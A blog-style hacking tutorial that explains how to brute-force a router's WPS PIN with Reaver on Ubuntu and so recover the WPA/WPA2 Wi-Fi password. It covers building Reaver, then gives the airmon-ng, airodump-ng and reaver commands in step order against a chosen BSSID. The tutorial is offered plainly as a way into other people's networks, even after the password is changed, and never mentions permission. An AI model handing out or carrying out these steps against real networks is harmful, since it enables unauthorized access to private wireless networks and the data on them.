How to Crack WPA/WPA2 Pasword using Reaver (Ubuntu)

How to hack WPA/WPA2 Password using Reaver (Ubuntu)

In this hacking tutorial we are going to use a new vulnerability in WPA and WPA 2 (PSK/TKIP)Wireless passwords, this weak point is to attack WPS; Which is Wireless Protected Setup : this type of setup is built in 90% of routers to allow easy establishment of secure home wireless by the user, though it has been shown to fall to BruteForce Attacks. This BruteForce attack will try all combinations of Router's PIN number (Provided by WPS) and access the router to reveal the password. This type of hack have many benefits such as: You can always have the Wireless Password even if It's changed by knowing the PIN number.

1) Setting up Reaver 1.4:

Open Terminal and type (sudo -s) it will ask for your password type your password and press enter.

Now Download this package  from here

Now place this downloaded package into Home folder and open a terminal and type:

tar xvfz reaver-1.4.tar.gz

Install dependencies:

sudo apt-get install libpcap-dev

 Then

 sudo apt-get install libsqlite3-dev

Note: May be these dependencies (libcap and libsqlite3) are included in your Ubuntu version but these are very important.

Now type:

cd reaver-1.4/src

Type:

./configure

Type:

make

Type:

make install

To test if Reaver have been successfully installed, Open a Terminal and Type 'reaver' and hit enter, it should list all Reaver's sub commands.

After installing Reaver 1.4 its time to proceed the main part which is hacking a wifi network uses wpa/wpa2 encryption.

Requirements:
1): Aircrack-ng (Install it if you have not installed in your system. See the post for installation here)
2): Reaver (Installed in first step)

Now we have to start cracking the WPA/WPA2 network key.

1) Open a terminal and type:

airmon-ng start wlan0

Remove "wlan0" with your wireless adapter.

2) Type:

airodump-ng mon0

It will list all the available network stop it by pressing CTRL+C and copy the bssid of the network which you want to crack.For example I want crack the bssid: 00:11:22:33:44:55

Now start attaking. Type:

reaver -b 00:11:22:33:44:55 -i mon0 

Now it will start testing bruteforcing the PIN number of the vulnerability WPS and it will show you the WPA/WPA2 Password in the end of the Crack.
